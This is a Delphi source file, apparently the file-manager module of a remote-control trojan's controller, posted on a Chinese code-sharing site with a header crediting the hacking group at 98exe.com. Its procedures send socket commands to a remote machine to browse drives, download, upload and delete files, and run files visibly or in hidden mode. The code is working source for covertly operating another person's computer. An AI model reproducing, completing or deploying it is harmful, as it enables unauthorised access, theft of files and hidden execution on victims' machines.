untFilemanager.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:7k
- {南域剑盟 www.98exe.com 上兴QQ:51992
- 声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
- unit untFilemanager;
- interface
- uses
- Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
- Dialogs, ComCtrls, StdCtrls, Menus, Winsock, untCMDList, ImgList;
- type
- TForm4 = class(TForm)
- StatusBar1: TStatusBar;
- ListView1: TListView;
- ComboBox1: TComboBox;
- Edit1: TEdit;
- PopupMenu1: TPopupMenu;
- Download1: TMenuItem;
- Execute1: TMenuItem;
- Delete1: TMenuItem;
- N1: TMenuItem;
- Refresh1: TMenuItem;
- Button1: TButton;
- ImageList1: TImageList;
- Visible1: TMenuItem;
- Hidden1: TMenuItem;
- Ipload1: TMenuItem;
- OpenDialog1: TOpenDialog;
- procedure ComboBox1Change(Sender: TObject);
- procedure Refresh1Click(Sender: TObject);
- procedure FormClose(Sender: TObject; var Action: TCloseAction);
- procedure Button1Click(Sender: TObject);
- procedure ListView1DblClick(Sender: TObject);
- procedure Download1Click(Sender: TObject);
- procedure Delete1Click(Sender: TObject);
- procedure Visible1Click(Sender: TObject);
- procedure Hidden1Click(Sender: TObject);
- procedure Ipload1Click(Sender: TObject);
- private
- { Private declarations }
- public
- { Public declarations }
- end;
- var
- Form4: TForm4;
- Sock : TSocket;
- Data : String;
- implementation
- {$R *.dfm}
- procedure TForm4.ComboBox1Change(Sender: TObject);
- begin
- ListView1.Items.Clear;
- Data := IntToStr(C_REQUESTLIST)+' '+ComboBox1.Text+#10;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- Data := IntToStr(C_CURRENTPATH)+' 1'#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- end;
- procedure TForm4.Refresh1Click(Sender: TObject);
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- ListView1.Items.Clear;
- Data := IntToStr(C_REQUESTLIST)+' '+Edit1.Text+#10;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- Data := IntToStr(C_CURRENTPATH)+' 1'#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- end;
- procedure TForm4.FormClose(Sender: TObject; var Action: TCloseAction);
- begin
- StatusBar1.Panels[0].Text := '0';
- end;
- procedure TForm4.Button1Click(Sender: TObject);
- begin
- ListView1.Items.Clear;
- ComboBox1.Items.Clear;
- Data := IntToStr(C_REQUESTDRIVE)+' 1'#10;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- Data := IntToStr(C_CURRENTPATH)+' 1'#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- end;
- procedure TForm4.ListView1DblClick(Sender: TObject);
- begin
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- If (ListView1.ItemIndex > -1) Then
- If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
- Begin
- Data := IntToStr(C_REQUESTLIST)+' '+Edit1.Text+ListView1.ItemFocused.Caption+#10;
- ListView1.Items.Clear;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- Data := IntToStr(C_CURRENTPATH)+' 1'#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- End Else
- If (ListView1.ItemFocused.Caption = '..') And
- (ListView1.ItemFocused.SubItems[1] = 'Go Back') Then
- Begin
- ListView1.Items.Clear;
- Data := ExtractFilePath(Copy(Edit1.Text, 1, Length(Edit1.Text)-1));
- Data := IntToStr(C_REQUESTLIST)+' '+Data+#10;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- Data := IntToStr(C_CURRENTPATH)+' 1'#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- End Else
- Begin
- Data := IntToStr(C_GETFILE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- End;
- end;
- procedure TForm4.Download1Click(Sender: TObject);
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
- Begin
- MessageBox(0, 'You cant download whole directories.', 'Error', mb_ok or mb_iconhand);
- Exit;
- End;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- Data := IntToStr(C_GETFILE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- end;
- procedure TForm4.Delete1Click(Sender: TObject);
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
- Begin
- MessageBox(0, 'You cant delete whole directories.', 'Error', mb_ok or mb_iconhand);
- Exit;
- End;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- Data := IntToStr(C_DELETE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- Refresh1.Click;
- end;
- procedure TForm4.Visible1Click(Sender: TObject);
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
- Begin
- MessageBox(0, 'You cant execute whole directories.', 'Error', mb_ok or mb_iconhand);
- Exit;
- End;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- Data := IntToStr(C_EXECUTE) + ' 1 ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- end;
- procedure TForm4.Hidden1Click(Sender: TObject);
- begin
- If (ListView1.ItemIndex = -1) Then Exit;
- If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
- Begin
- MessageBox(0, 'You cant execute whole directories.', 'Error', mb_ok or mb_iconhand);
- Exit;
- End;
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- Data := IntToStr(C_EXECUTE) + ' 0 ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- end;
- Function GetFileSize(FileName: String): Int64;
- Var
- H :THandle;
- Data :TWIN32FindData;
- Begin
- Result := -1;
- H := FindFirstFile(pChar(FileName), Data);
- If (H <> INVALID_HANDLE_VALUE) Then
- Begin
- Windows.FindClose(H);
- Result := Int64(Data.nFileSizeHigh) SHL 32 + Data.nFileSizeLow;
- End;
- End;
- procedure TForm4.Ipload1Click(Sender: TObject);
- begin
- If OpenDialog1.Execute Then
- Begin
- Sock := StrToInt(StatusBar1.Panels[0].Text);
- Data := IntToStr(C_PUTFILE) + ' ' +
- IntToStr(GetFileSize(OpenDialog1.FileName)) + ' ' +
- Edit1.Text + ExtractFileName(OpenDialog1.FileName) + #1' ' +
- OpenDialog1.FileName + #10;
- If (Sock > 0) Then
- Send(Sock, Data[1], Length(Data), 0);
- End;
- end;
- end.